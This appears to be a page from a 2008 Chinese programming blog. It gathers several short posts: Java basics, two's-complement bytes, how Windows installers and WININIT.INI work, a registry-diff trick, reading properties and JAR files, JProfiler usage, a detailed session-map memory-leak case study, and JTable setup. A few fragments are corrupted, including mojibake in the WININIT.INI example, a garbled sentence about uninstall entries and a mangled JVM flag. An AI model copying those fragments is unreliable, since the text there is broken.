All objects have a single rooted hierarchy can be guaranteed to have certain functionality. You know you can perform certain basic operations on every object in your system. All objects can easy be created on the heap, and argument passing is greatly simplified.
A single rooted hierarchy makes it much easier to implement a garbage collector, which is one of the fundamental improvements of Java over C++. And since information about the type of an object is guaranteed to be in all objects, you'll never end up with an object whose type you cannot determine. This is especially important with system-level operations, such as exception handling, and to allow greater flexibility in programming.

7.Containers

8.Parameterized types(generics)
One of the big changes in Java SE5 is the addition of parameterized types, called generics in java. you will recongize the use of generics by angle brackets with types inside.

9.Object creation & lifetime
How can you possibly know when to destroy the objects?
(1).C++ takes the approach that control of efficiency is the most important issue, so it give the programmer a choice.
(2).Java, in heap

10 Exception handling: dealing with errors























posted @ 2008-05-20 13:10 九宝 阅读(203) | 评论 (0)编辑 收藏

java byte类型为什么是(127—— -128)

所有的整数类型(除了char 类型之外)都是有符号的整数

因为, java的byte是8bit(位),就是8个0/1 来表示。
但是第一位是符号位,表示正数还是负数。所以:
0000 0001表示1,     (1×  20
0000 0000表示0,     (0×  20

计算机中负数的二进制码是是负数的绝对值取反,然后加1.
例如-1的二进制:
-1的绝对值是1(0000 0001);
取反是(1111 1110);
再加 1(0000 0001 );
结果是(1111 1111)

要对一个负数的二进制进行解码,首先对其所有的位取反,然后加1。
例如-1的 二进制   (1111 1111)
取反:  0000 0000 是0
再加1:(0+1=1)
符号位是1,是负数,所以是-1

1000 0000 表示-128,   (解码过程:位取反是0111 1111==》127,然后加1==》128,符号位为1,是负数,表示-128)

posted @ 2008-05-20 12:48 九宝 阅读(1487) | 评论 (0)编辑 收藏

软件安装过程浅释(转)

软件在安装时,到底做了些什么? 大家每天都在用电脑,可能也经常在自己的电脑上安装软件。就算自己没安装过,至少也看到人家安装过软件。在这里,我不是想教你怎么安装软件,而是想向你展示,软件在安装的过程中,到底都做了些什么动作?为什么有些软件要安装,直接拷贝过去却不能用?为什么一些软件安装或卸载之后要重启。下面要讨论的就是这些问题。

    首先,我们探讨一下软件安装的共通部分,说共通,就是在不同版本的操作系统上,如WINDOWS98,WIN2K和WINXP等上它们都有共同点的地方。这个文章也试图不针对具体的某个操作系统,而对共同的规律来探讨,不过我自己用的是WINDOWS98,所以有时一些例子可能会用WINDOWS98上的实例来说明,而大多数情况下这些特***在WIN2K和WINXP上也是类似的。

    那么,我先来归纳一下,典型的软件安装过程都有可能做哪些事情。由于我们是讨论软件在安装时的行为,所以开始安装前的设置和选项我们就暂不讨论,只说到软件真正开始安装那个时候起的动作:

①文件从安装源位置拷贝到目标位置。

②往系统目录写入一些必要的动态连接库(DLL)。(可选)

③往系统注册表中写入相应的设置项。(可选)

④建立开始菜单里的程序组和桌面快捷方式。(可选)

⑤其他动作。(可选)

     下面我们再详细来分析上面归纳出来的这些动作:

1)拷贝软件本身需要的文件。源位置指软件未安装之前的位置,例如光盘,下载的目录等,目标位置指你指定的安装位置。

这是几乎所有的软件安装过程一定会做的一件事。而如果一个软件,在安装时只要这一步,不需要后面的其他几步,我们可以认为这个软件就是绿色软件。或者反过来说绿色软件就是只要拷贝文件,不需要依赖于某个DLL,或者它依赖的DLL在几乎所有的系统中都一定有的,并且它也不依赖于注册表里面的设置项的软件。

2)这一步,可以说至少有一半软件在安装时都会做,一些软件,需要用到某个DLL,特别是那些软件作者开发的DLL,或者系统中不常用的DLL,一般都会随软件的安装拷到系统目录。所谓系统目录,在WIN98下一般是在WINDOWS\SYSTEM这个目录,而WIN2K是在WINNT\SYSTEM32,WINXP是在WINDOWS\SYSTEM32。还有,一些软件如QQ游戏,中游等,它们也用到一些DLL,由于这些DLL只是这个软件自己用到,别的其他软件不会用到,所以它们并不一定存在于系统目录,而是放在软件安装目录里面,这样的DLL已经在上一步中被拷贝,所以和这一步说的情况不一样。

3)这一步同样至少有一半软件会做,一般在安装前用户的设置和一些选项,在安装时就会把这些设置写到注册表里。另外就是有时在上一步把DLL拷贝到系统目录时,一些DLL需要向系统注册,这些DLL的注册信息也会写在注册表里。还有,一些软件有时可能安装时并不写注册表,而是在第一次运行时才把一些设置写到注册表。

4)这个非常简单,大概不需要怎么解释。建立这些快捷方式一方面是便于用户执行,另外在时也会把卸载的快捷方式放在程序组里。关于卸载后面我们再来讨论。

5)这个就是除了上面说的以外的其他情况。例如有些软件安装时会先把所有文件(或一部分文件)先解压到临时目录,那么安装完之后就要把这些文件删除掉。

    那么我们再总结一下:

一、一个典型的软件在安装过程一般都会执行上面的1-4项。这样可以认为是一个完整的安装过程。

二、除了第1项之外,其他的都不是必要的。只需要第一项的软件,我们可以把它叫做绿色软件。

三、有些软件安装时是执行了1、2、4,有些软件是执行了1、3、4,有些软件是执行了1、4。

四、一个特殊的情况,一般的驱动程序,只会执行2和3,没有1和4。

五、理论上,任何软件,如果你非常确切地知道了它在上面的那几步都具体做了些什么,特别是2和3,那么,理论上你可以把这个软件的安装文件拷贝到另一台机子,把必要的DLL从系统目录拷贝到那一台机子的系统目录,再把注册表里软件写入的项目导出来(必要时还要修改一下)再导入到那台机子的注册表中,那么,就算不是绿色软件,你也能这样把它移植给另一台机。但有时特别是一些共享软件,一般都会有注册表中设置比较隐蔽的项目,不容易查找,所以除非你对系统非常熟悉,否则不是绿色软件的软件要移植还是有一定的难度的。

     那么,下面我们再来看看,为什么一些软件安装后要重启。

在WINDOWS操作系统上,一般一个正在运行中的程序,操作系统是不让你修改它的,修改包括替换,改动和删除。那么有时,一些软件需要向系统目录中写入一个DLL,而系统目录中原来已经有同名的DLL并且这个DLL目前正在被系统使用,因此不能用新版本去替换它,这个时候就需要重启,在重启的过程中,在这个DLL旧的版本被使用之前用新版本替换它。这就是为什么要重启的原因。

你能看到这里,说明你很有耐心,并且对技术的探讨很有兴趣,那么我就再说得更详细些。在WIN98中,上面说的这个替换是由系统的一个工具来实现的,这个工具叫WININIT.EXE。安装程序在检测到需要写入的DLL或其他程序文件正在使用时,会把要写入的DLL文件先定一个临时的文件名,然后在WINDOWS目录中往WININIT.INI写入一个改写项,比如,一个叫ABCD.DLL的动态连接库现在正在使用中,而安装程序要往系统中写入新版本的ABCD.DLL,这时安装程序会把新版本ABCD.DLL先定一个临时文件名,例如AAAA.LLL,然后在WININIT.INI中的[rename]一节中写入这一项: 篩l罉枓犮
 C:\windows\system\abcd.dll=C:\windows\system\aaaa.lll CX=B)
 这样,在重启时,进入WINDOWS图形界面之前,WININIT.EXE在检测到WINDOWS目录中有WININIT.INI存在时,就执行里面的操作,在上面的例子中,是用C:\windows\system\aaaa.lll去替换掉C:\windows\system\abcd.dll这个文件,并且把WININIT.INI改名为WININIT.BAK。

     另外,有些软件,在安装时,是把所有文件包括SETUP.EXE解压到临时文件里面再执行SETUP.EXE进行安装的,按理来说安装完要把所有的临时文件删除掉,这个操作当然也是由安装程序SETUP.EXE来完成,但它自己正在运行,也删不了它自己,所以也要重启来删除,做法和上面差不多,只是改成类似这样子的: 怦S?vH燁?
 NUL=C:\WINDOWS\TEMP\SETUP.EXE

    在WIN2K和WINXP中,存在类似的机制,不过并不是用WININIT.EXE和WININIT.INI来实现,具体的做法我也不是很清楚,长期以来我大多数时候都是在用WIN98,所以没认真研究过,但软件安装过程要重启的现象在2K和XP上是仍然存在的,原理也是在重启时替换或修改正在使用的文件,只是实现的方式不同。

    最后,我们再来看看有关卸载方面的内容。一般卸载有好几种方式:

1)早期的安装程序,一般会在安装过程记录了上面说的安装过程的1234四个步骤中具体拷贝的文件和DLL以及注册表项,把它保存在INSTALL.LOG之类的文件中,再在软件的安装目录(或WINDOWS目录中)放一个UNINST.EXE之类的卸载程序。然后要么在程序组里为这个UNINST.EXE建一个快捷方式,要么在注册表中为这个UNINST.EXE建一个快捷方式(这诳刂泼姘宓奶砑由境绦蚓湍芸吹饺砑男对叵?,并把INSTALL.LOG做为它的参数,这样就实现卸载了。

2)现在比较多的安装程序是用新版的INSTALLSHIELD生成的,安装时的记录和卸载程序一般是会放在C:\Program Files\InstallShield Installation Information这个文件夹(隐藏属***)里,同样也会在程序组和注册表中建立卸载项。

    另外,在卸载时,也会遇到文件(一般是DLL文件)正在使用的情况。所以有时卸载的时候也要重启,就是要在重启过程中删掉这些正在使用的DLL文件。

    关于软件的安装过程,大概就想到这里,以后再有想到什么的,我再补充,大家有什么看不懂的也可以把问题提出来。

posted @ 2008-05-05 15:04 九宝 阅读(209) | 评论 (0)编辑 收藏

FC命令查看安装程序时都向注册表干了些什么


    安装新软件前,打开注册表编辑器,选择“注册表→导出注册表文件”,利用“全部”选项,将结果文件保存为Before.txt(不要使用REG扩展名)。安装新软件或进行用户想跟踪的其他任何更改后,打开注册表编辑器,再导出整个注册表,这一次将导出的文件命名为After.txt文件。接着打开MS-DOS命令窗口,转换到有那两个文本文件的目录中,然后执行以下命令:

    FC Before.txt After.txt > Diff.txt

    关闭DOS窗口,在“记事本”中打开Diff.txt文件,这里会显示在注册表所发现的所有不同之处。

posted @ 2008-05-05 15:00 九宝 阅读(451) | 评论 (0)编辑 收藏

Java入门 解析配置文件的文件问题(转)

我们在解析配置文件的时候,常常会为路径发愁,我就遇到过这样的情况
  
 

  如上图所示:
  
  ParseProperties.java是配置文件database.properties的解析类,那么我们怎样去取得它的路径并解析起配置呢?看解析类ParseProperties的源代码如下:
  
  package zy.pro.sc.db;
  
  import java.util.*;
  import java.io.*;
  
  public class ParseProperties {
  
  Properties properties = new Properties();
  
  public ParseProperties() {
  try{
  this.parseProp();
  }catch(Exception e){
  e.printStackTrace();
  }
  }
  
  public Properties parseProp()throws IOException {
  InputStream is=this.getClass().getResourceAsStream("database.properties");
/*          
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream in = classLoader.getSystemResourceAsStream(fileName);
 */
  properties.load(is);
  is.close();
  return null;
  }
  public String getProperties(String propStr){
  return properties.getProperty(propStr);
  }
  public static void main(String[] args) {
  ParseProperties pp=new ParseProperties();
  String driver=pp.getProperties("jdbc.driver");
  System.out.println(driver);
  }
  }
  看粗体部分,this.getClass()方法可以得到了当前类的Class对象,也可以用ParseProperties.class.getClass()方法来实现同样的效果。之后调用其getResourceAsStream("database.properties")方法来解析配置文件。getResourceAsStream()方法解析文件时候的相对路径是当前类的包路径。
  
  就当前的包来说,zy.pro.sc.db对应的路径是src/zy/pro/sc/db。由于我们要解析的文件和解析类在同一目录下,所以我们的路径是"database.properties"。
  
  如果我们的解析文件和解析类不在同一目录下呢,如以下目录结构:
  

  那么先看一下我们解析类的代码:
  
  InputStream is=this.getClass().getResourceAsStream("/database.properties");
  
  解析路径变成了"/database.properties", “/“表示取当前类所在的包的根路径下的database.properties文件,也就是相对于ParsePropertie.class的包的根路径下的 database.properties文件。
  
  用这种方法更有灵活性。此地要认真体会。不用这种方法,你的解析类只能在目录结构不发生改变的情况下使用。否则将发生异常。例如:你的解析类在servlet中调用的时候就会抛出找不到文件的异常。
  
  此路径的定位方法也可以使用于解析XML的文件。详细情况同上。

posted @ 2008-04-28 13:21 九宝 阅读(296) | 评论 (0)编辑 收藏

JProfiler试用手记(转)

 JProfiler是一款Java的性能监控工具。可以查看当前应用的对象、对象引用、内存、CPU使用情况、线程、线程运行情况(阻塞、等待等),同时可以查找应用内存使用得热点,即:哪个对象占用的内存比较多;或者CPU热点,即:哪儿方法占用的较大得CPU资源。我使用的是4.3.2版本,以前试用过3**版本,不过那个bug比较多,容易死,4**版本稳定多了。

     有了上面那些信息对于系统的调优会有很大帮助。这里提供有几篇文章供参考:获取、介绍简单入门使用JProfiler解决实际问题。这几篇文章基本介绍了常见东西了,下面说点心得。

  1. JProfiler监控是要消耗系统资源的,所以一般情况下不要用于性能测试时候的监控。
  2. 如果要用于相对大压力情况下,可以有选择的打开监控项,不用所有都打开。主要有两个,一个是内存监控,打开的情况下可以查找内存分配热点。一个是CPU监控,打开的情况下可以查看CPU使用热点。
    如图所示,红笔标注部分。如果两个都关闭的话,还是可以跑一定压力的,同时还可以监控对象数量。
  3. 个人认为最好用的(也是用的最多的)是查询当前的对象的数量。数量监控很重要,如果你使用了单例,那么你只会看到有一个对象存在,如果多了就说明程序有问题了。同样,如果应用进行一系列操作,检查一下该销毁的对象是否还继续存在,如果没有释放,就得考虑是否存在内存溢出了。
  4. JProfiler还提供了一个比较好的检查内存溢出得工具。他可以查找某个对象的引用情况,即:当你发现某个该释放掉的对象没有释放,就可以看一下哪个实例在引用它,找到了根即找到了溢出点。
    具体操作如下:在 “Memory Views”界面中右键选择你要监控的对象,选择第一项“Take Heap Snapshot for Selection”,选择完成后会进入“Heap Walker”界面,界面下面提供几个功能,选择“References”即可 。如图:

  5. JProfiler提供不同的观察粒度,提供对类的监控、对包的监控、对J2EE组件的监控,同时过滤器也比较好用,直接定位你关注的包或类即可。
  6. JProfiler的监控可能与应用之间存在一定时间差,所以有些时候需要等待刷新,才能显示正确系统情况。

posted @ 2008-04-22 15:19 九宝 阅读(484) | 评论 (1)编辑 收藏

利用JProfiler对应用服务器内存泄漏问题诊断一例(转)

       在中间件应用服务器的整体调优中,有关于等待队列、执行线程,EJB池以及数据库连接池和Statement Cache方面的调优,这些都属于系统参数方面的调优,本文主要从另外一个角度,也就是从应用的角度来解决中间件应用服务器的内存泄露问题,从这个角度来提高系统的稳定性和性能。

项目背景

问题描述

某个大型项目(Use Case用例超过300个),在项目上线后,其Web应用服务器经常宕机。表现为:

1. 应用服务器内存长期不合理占用,内存经常处于高位占用,很难回收到低位;

2. 应用服务器极为不稳定,几乎每两天重新启动一次,有时甚至每天重新启动一次;

3. 应用服务器经常做Full GC(Garbage Collection),而且时间很长,大约需要30-40秒,应用服务器在做Full GC的时候是不响应客户的交易请求的,非常影响系统性能。

Web应用服务器的物理部署

      一台Unix服务器(4CPU,8G Memory)来部署本Web应用程序;Web应用程序部署在中间件应用服务器上;部署了一个节点(Node),只配置一个应用服务器实例(Instance),没有做Cluster部署。

Web应用服务器启动脚本中的内存参数
MEM_ARGS="-XX:MaxPermSize=128m -XX:MaxNewSize=512m -Xms3096m
-Xmx3096m -XX:+Printetails -Xloggc:./inwebapp1/gc.$$"

可以看出目前生产系统中Web应用服务器的内存分配为3G Memory。

Web应用服务器的重要部署参数
参数名称 参数值 参数解释
kernel.default(Thread Count) 120 执行线程数目,是并发处理能力的重要参数
Session Timeout 240分钟(4小时) HttpSession会话超时

 

分析

分析方法

内存长期占用并导致系统不稳定一般有两种可能:

1. 对象被大量创建而且被缓存,在旧的对象释放前又有大量新的对象被创建使得内存长期高位占用。

  • 表现为:内存不断被消耗、在高位时也很难回归到低位,有大量的对象在不断的创建,经过很长时间后又被回收。例如:在HttpSession中保存了大量的分页查询数据,而HttpSession的会话超时时间设置过长(例如:1天),那么在旧的对象释放前又有大量新的对象在第二天产生。
  • 解决办法:对共享的对象可以采用池机制进行缓存,避免各自创建;缓存的临时对象应该及时释放;另一种办法是扩大系统的内存容量。

2. 另一种情况就是内存泄漏问题

  • 表现为:内存回收低位点不断升高(以每次内存回收的最低点连成一条直线,那么它是一条上升线);内存回收的频率也越来越高,内存占用也越来越高,最终出现"Out of Memory Exception"的系统异常。
  • 解决办法:定位那些有内存泄漏的类或对象并修改完善这些类以避免内存泄漏。方法是:经过一段时间的测试、监控,如果某个类的对象数目屡创新高,即使在JVM Full GC后仍然数目降不下来,这些对象基本上是属于内存泄漏的对象了。

问题定位

这里请看5月份 Web应用服务器的内存回收图形:

《注意:5月18日早上10点重新启动了Web服务器,5月20日早上又重新启动了Web服务器。》

  • 在Web应用重要部署参数中,我们知道:Session的超时时间为4个小时,我们在监控平台也观测到:在18日晚上10点左右所有的会话都过期了,从图形一中也能看出18日晚上确实系统的内存有回收到40%(就象股票的高位跳水);
  • 从图形一(5月18日)中我们也能看到Full GC回收后的内存占用率走势(红色曲线),上午基本平滑上升到20%(内存占用率),中午开始上升到30%,下午上升到40%
  • 从图形二(5月19日)中我们也能看到Full GC回收后的内存占用率走势(红色曲线),上午又上升到了60%,到下午上升到了70%。
  • 从黄色曲线(GC花费的时间,以秒为单位),Full GC的频率也在增快,时间耗费也越来越长,在图形一中基本高位在20秒左右,到19日基本都是30-40秒之间了。

 图形一 5月18日
图形一 5月18日

图二
图二

通过上述分析,我们基本定位到了Web应用服务器的内存在高位长期占用的原因了:是内存泄露!并且正是由于这个原因导致系统不稳定、响应客户请求越来越慢的。

解决方法

方法如下:

  • 我们从图形二中发现,在8.95(将近9点钟)到9.66(将近9点40)期间有几次Full GC,但是有内存泄漏,从占用率40%上升到50%左右,泄漏了大约10%的内存,约300M;
  • 我们在自己搭建的Web应用服务器平台(应用软件版本和生产版本一致)做这一阶段相同的查询交易;表明对同一个黑盒(Web应用)施加同样的刺激(相同的操作过程和查询交易)以期重现现象;
  • 我们使用Jprofiler工具对Web应用服务器的内存进行实时监控;
  • 做完这些交易后,用户退出系统,并等待Web应用服务器的HttpSession超时(我们这里设置为15分钟);
  • 我们对Web应用服务器做了两次强制性的内存回收操作。

发现如下:


图三
图三

如图三所示,内存经过HttpSession超时后,并强制gc后,仍然有大量的对象没有释放。例如:gov.gdlt.taxcore.comm.security.MenuNode,仍然有807个实例没有释放。

我们继续追溯发现,这些MenuNode首先存放在一个ArrayList对象中,然后发现这个ArrayList对象又是存放在WHsessionAttrVO对象的Map中,WHsessionAttrVO 对象又是存放在ExternalSessionManager的staic Map中(名称为sessionMap),如图四所示。


图四
图四

我们发现gov.gdlt.taxcore.taxevent.xtgl.comm.WHsessionAttrVO中保存了EJBSessionId信息(登录用户的唯一标志,由用户id+登录时间戳组成,每天都不同)和一个HashMap,这个HashMap中的内容有:

  • ArrayList: 内有MenuTreeNodes(菜单树节点)
  • HashMap: 内有操作人员代码信息
  • CurrentVersion:当前版本号
  • CurrentTime:当前系统时间

WHsessionAttrVO这个对象的最终存放在ExternalSessionManager的static Map sessionMap中,由于ExternalSessionManager是一个全局的单实例,不会释放,所以它的成员变量sessionMap中的数据也不会释放,而Map中的Key值为EJBSessionId,每天登录的用户EJBSessionId都不同,就造成了每天的登录信息(包括菜单信息)都保存在sessionMap中不会被释放,最终造成了内存的泄漏。


图五
图五

如上图所示:WHsessionAttrsVO对象中除了有一个String对象(内容是EJBSessionId),还有一个HashMap对象。


图六
图六

如上图所示,这个HashMap中的内容主要有menuTreeNodes为key,value为ArrayList的对象和以czrydminfo为key,value为HashMap对象的数据。


图七
图七

如上图所示:menuTreeNodes为key,value为ArrayList对象中包含的对象有许多的MenuNode对象,封装的都是用户的菜单节点。


图八
图八

如上图所示,最顶层(Root)的初始对象为一个ExternalSessionManager对象,其中的一个成员变量为static (静态的),名称为:sessionMap,这个对象是singleton方式的,全局只有一个。

初步估量

我们从图形一和图形二中可以看出,每天应用服务器损失大约40%的内存,大约1G左右。

从图形四可以看出,当前用户(Id=24400001129)有807个菜单项(每个菜单项为一个MenuNode 对象实例,图形四中的这个实例的size为592 Byte),这些菜单数据和用户基本登录信息(czrydmInfo HashMap)也都存放在WHsessionAttrVO对象中,当前这个WHsessionAttrVO对象的size为457K。

我们做如下估算:

假设平均每天有4千人(估计值,这个数值仅仅是5月19日峰值的1/2左右)登录系统(有重复登录的现象,例如:上午登录一次,中午退出系统,下午登录一次),以平均每人占用200K(估计值,是用户id=24400001129 的Size的1/2左右)来计算,一天泄漏的内存约800M,比较符合目前内存泄漏的情况。当然,这种估计仍然需要经过实践的检验,方法是:当这次发现的内存泄漏问题解决后看系统是否还有其它内存泄漏问题。


方案

ExternalSessionManager类是当初某某软件商设计的用来解决Web服务器负载均衡的模块,这个类主要用来保存客户的基本登录信息(包括会话的EJBSessionId),以维护多个Web服务器之间的会话信息一致。

改进方案有两种:

  • 从架构设计方面改进

    实现Web层的负载均衡有很多标准的实现方式。例如:采用负载均衡设备(硬件或软件)来实现。

    如果采用新的Web层的负载均衡方式,那么就可以去掉ExternalSessionManager这个类了。

  • 从应用实现方面改进

    保留当前的Web层的负载均衡设计机制,仅仅从应用实现方面解决内存泄漏问题,首先菜单信息不应该保存在ExternalSessionManager中。其次,增加对ExternalSessionManager类中用户会话登录信息的清除,有几种方式可以选择:

    • 被动方式,当HttpSession会话超时(或过期)被Web应用服务器回收时清除相应的ExternalSessionManager中的过期会话登录信息。
    • 主动方式,可以采用任务定时清理每天的过期会话登录信息或线程轮询清理。
    • 采用新的会话登录信息存储方式,ExternalSessionManager的sessionMap中的key值不再以EJBSessionId作为键值,而是以用户id(EJBSessionId的前11位)代替。由于用户id每天都是一样的,所以不会造成内存泄漏。保存得登录信息也不再包含菜单节点信息,而只是登录基本信息。最多也只是保存整个系统所有的用户id及其基本登录信息(大约每个用户的登录信息只有1.5K左右,而目前这个系统的营业网点用户为1万左右,所以大约只占用Web服务器15M内存)。


实施情况

采用的方案:某某软件商采用了新的会话登录信息存贮方案,即:ExternalSessionManager的成员变量sessionMap中不再保存用户菜单信息,只保存基本的登录信息;存储方式采用用户id(11位)作为键值(key)来保留用户基本登录信息。

基本分析:由于基本登录信息只有1K左右,而目前内网登录的用户总数也只有8887个,所以只保存了大约10M-15M的信息在内存,占用量很小,并且不会有内存泄漏。用户菜单信息保存在session中,如果用户退出时点击logout页面,那么应用服务器可以很快地释放这部分内存;如果用户直接关闭窗口,那么保存在session中的菜单信息只有等会话超时后才会由系统清除并回收内存。

监控状况:


图九
图九

如图九所示,ExternalSessionManager中只保留了简单的登录信息(Map中保存了WHsessionAttrVO对象),包括:当前版本(currentversion),操作人员代码基本信息(czrydmInfo),当前时间(currenttime)。


图十
图十

如图十所示,这个登录用户的基本信息只有1368 bytes,大约1.3K


图十一
图十一

如图十一所示,一共有两个用户(相同的用户id)登录系统,当一个用户使用logout页面退出时,保留在session中的菜单信息(MenuNode)立刻释放了,所以Difference一栏减少了806个菜单项。


图十二
图十二

如图十二所示,当另外一个会话超时后,应用服务器回收了整个会话的菜单信息(MenuNode),图上已经没有MenuNode对象了。并且由于是同一个用户登录,所以保留在ExternalSessionManager成员变量sessionMap中的对象WHsessionAttrVO只有一个(id=24400001129),而没有产生多个,没有因为多次登录而产生多个对象的后果,避免了内存泄漏问题的出现,解决了前期定位的内存泄漏问题。


图十三
图十三

如图十三所示,经过gc内存回收后,发现内存回收比较稳定,基本都回收到了最低点,也证明了内存没有泄露。

结论与建议:从测试情况看,解决了前期定位的内存泄漏问题。

生产系统实施后的监控与分析

经过调优后,我们发现:在2005年6月2日晚9点40左右重新部署、启动了Web应用服务器(采用了新的调优方案)。经过几天的监控运行,发现Web应用服务器目前运行基本稳定,目前没有出现新的内存泄漏问题,下列图示说明了这一点


图十四 2005年6月2日
图十四 2005年6月2日

如图十四所示,6月2日晚21.7(21点42分)重新启动应用服务器,内存占用很少,大约为15%(请看红色曲线),每次GC消耗的时间也很短,大约在5秒以内(请看黄色曲线)。


图十五 2005年6月3日周五
图十五 2005年6月3日周五

如图十五所示,在6月3日周五的整个工作日内,内存的回收基本到位,回收位置控制在20%-30%之间,也就是在600M-900M之间(请看红色曲线的最低点),始终可以回收2G的内存供应用程序使用,每次GC的时间最高不超过20秒,Full GC平均在10秒左右,时间消耗比较短(请看黄色曲线)。


图十六2005年6月5日周日
图十六2005年6月5日周日

如图十六所示,在周日休息日期间,Web应用服务器全天只做了大约4次Full GC(黄色曲线中的小山峰),时间都在10秒以内;大的Full GC后,内存只占用10%,内存回收很彻底。


图十七 2005年6月6日周一
图十七 2005年6月6日周一

如图十七所示,在周一工作日期间,内存回收还是不错的,基本可以回收到30%(见红色曲线的最低点),即:占用900M内存空间,剩余2G的内存空间;Full GC的时间大部分控制在20秒以内,平均15秒(见黄色曲线)。


图十八 2005年6月7日周二
图十八 2005年6月7日周二

如图十八所示,在6月7日周二早上,大约8:30左右,Web应用服务器作了一次Full GC,用了10秒的时间,把内存回收到了10%的位置,为后续的使用腾出了90%的内存空间。内存回收仍然比较彻底,说明基本没有内存泄漏问题。

经过这几天的监控分析,我们可以看出:

  • Web应用服务器的内存使用已经比较合理,内存在工作日的占用在20%至30%之间,约1G的内存占用,有2G的内存空间富裕;而在空闲时间(周日,每天的凌晨等)内存可以回收到10%,有90%的内存空间富裕;
  • Web应用服务器的Full GC的次数明显减少了并且每次Full GC占用的时间也很少,基本控制在10-20秒之间,有的甚至在10秒以内,明显改善了内网应用服务器内存的使用
  • 从6月2日重新部署之后,Web应用服务器没有出现宕机重启的现象。

 

总结

 通过本文,我们可以看到,内存的泄露将会导致服务器的宕机,系统性能就更别说了。对于系统内存泄露问题应该从服务器GC日志方面进行早诊断,使用工具早确认并提出解决方案,排除内存泄露问题,提高系统性能,以规避项目风险。

posted @ 2008-04-22 13:24 九宝 阅读(321) | 评论 (0)编辑 收藏

从jar中读取文件

Sample1,利用Menifest文件读取jar中的文件
/*
1.文件目录
test--
     --a.text
     --b.gif

2. Menifest文件内容:
Manifest-Version: 1.0
abc: test/a.txt
iconname: test/Anya.jpg
注意:manifest.mf文件最后一行要打一回车
Another Notification:
如果manifest文件内容是:
Manifest-Version: 1.0
Main-Class: com.DesignToolApp
Class-path: lib/client.jar lib/j2ee.jar
在MANIFEST.MF文件的最后,要留两个空行(也就是回车),才可以识别到Class-Path这一行,如果只有一个空行,那么只识别到Main-Class这一行。Class-Path中的库名用空格格开,使用和jar包相对的路径,发布时把jar包和其他用到的类库一起交给用户就可以了。


3.打jar包
test.jar
*/ 
String iconpath = jar.getManifest().getMainAttributes().getValue("abc");
    InputStream in = jar.getInputStream(jar.getJarEntry(iconpath));
     //Image img = ImageIO.read(in);
    InputStreamReader isr =  new InputStreamReader(in);
       BufferedReader reader = new BufferedReader(isr);
       String line;
       while ((line = reader.readLine()) != null) {
           System.out.println(line);
       }
       reader.close();

Sample2,读取JAR 文件列表及各项的名称、大小和压缩后的大小

public class JarFileInfoRead {
 public static void main (String args[])
  throws IOException {
  String jarpath="d://temp//test.jar";
  JarFile jarFile = new JarFile(jarpath);
  Enumeration enu = jarFile.entries();
  while (enu.hasMoreElements()) {
      process(enu.nextElement());
  }
}

private static void process(Object obj) {
  JarEntry entry = (JarEntry)obj;
  String name = entry.getName();
  long size = entry.getSize();
  long compressedSize = entry.getCompressedSize();
  System.out.println(name + "\t" + size + "\t" + compressedSize);
}
}

Sample3,读取JAR中 文件的内容
public class JarFileRead {
    public static void main (String args[])
        throws IOException {
      String jarpath="d://temp//test.jar";
      JarFile jarFile = new JarFile(jarpath);
        Enumeration enu = jarFile.entries();
        while (enu.hasMoreElements()) {
         JarEntry entry = (JarEntry)enu.nextElement();
            String name = entry.getName();
            //System.out.println(name);
            if(name.equals("test/a.txt")){
            InputStream input = jarFile.getInputStream(entry);
            process(input);
            }
        }       
        jarFile.close();
    }
    private static void process(InputStream input)
        throws IOException {
        InputStreamReader isr =
            new InputStreamReader(input);
        BufferedReader reader = new BufferedReader(isr);
        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        reader.close();
    }
}

posted @ 2008-03-06 12:51 九宝 阅读(889) | 评论 (0)编辑 收藏

Swing的Jtable类(转载)

1 table.setSelectionBackground(Color.black); table.setSelectionForeground(Color.white);



Swing颇受欢迎的JTable类为显示大块数据提供了一种简单的机制。JTable有很多东西是用于数据的生成和编辑,其中的很多东西还可以自定义,从而更进一步增强其功能。本文会引导你一步步地进入JTable的世界。

Listing A包含了一个简单示例的代码,这个示例会说明常用JTable的行为。用户能够更改JTable的布局、拖放它的栏,或者通过拖动标题的分隔线来改变其大小。

这些列被保存在一个String数组里:

1 String[] columnNames = {"Product","Number of Boxes","Price"};
数据被初始化并保存在一个二维的对象数组里:
1 Object[][] data  =
2 {
3 { " Apples " new  Integer( 5 ), " 5.00 " }
,
4           { " Oranges " new  Integer( 3 ), " 6.00 " }
,
5           { " Pears " new  Integer( 2 ), " 4.00 " }
,
6           { " Grapes " new  Integer( 3 ), " 2.00 " }
,
7 }
;

JTable是使用data和columnNames构成的:
JTable table = new JTable(data, columnNames);

查看JTable

JTable的高度和宽度按照下面的方法来设定:
table.setPreferredScrollableViewportSize(new Dimension(300, 80));

如果JTable的一个列或者JTable窗口自身的大小被重新确定,那么其他列会被相应的缩小或者放大,以适应新的窗口。使用setAutoResizeMode()方法就能够控制这种行为:

1 table.setAutoResizeMode(int mode);
mode整数字段可能的值有:
1  AUTO_RESIZE_OFF
2 
AUTO_RESIZE_NEXT_COLUMN
3 
AUTO_RESIZE_SUBSEQUENT_COLUMNS
4 
AUTO_RESIZE_LAST_COLUMN
5 AUTO_RESIZE_ALL_COLUMNS

表格的缺省值

单元格内方格坐标线的缺省颜色是Color.gray。要更改这些方格坐标线的颜色,就要用到:

1 table.setGridColor(Color.black);
你可以用下面的方法来改变行的高度:
1 table.setRowHeight(intpixelHeight);

各个单元格的高度将等于行的高度减去行间的距离。

在缺省情况下,内容的前景颜色和背景颜色的选择都是由Swing的所见即所得的实现来确定的。你可以使用下面的方法来更改选择的颜色:

1 table.setSelectionBackground(Color.black); table.setSelectionForeground(Color.white);
你也可以隐藏单元格的方格坐标线,就像下面这样:
1 table.setShowHorizontalLines(false );
2 table.setShowVerticalLines(false);

列的宽度

JTable组件有几个控制表格特性的类和接口。TableColumn会不断追踪列的宽度,并负责列大小的调整,包括最大和最小宽度。

TableColumnModel管理着TableColumns的集合以及列的选择。要设置某个列的宽度,就要为表格列的模型设置一个参照。然后,取得想要的TableColumn并调用其setPreferredWidth()方法:

1 TableColumncolumn = table.getColumnModel().getColumn(0 );
2 column.setPreferredWidth(100);
当用户拖放列的时候,列的索引并不会发生改变。getColumn(0)方法会一直返回正确的列,无论它出现在屏幕的哪个地方。

标题

JtableHeader会处理JTable标题的显示。你可以细分JtableHeader以获得自定义的布局。例如,如果你的应用程序需要一个跨越多个列的标题,那么只用简单地细分JtableHeader并将它集成到你的JTable里就行了。

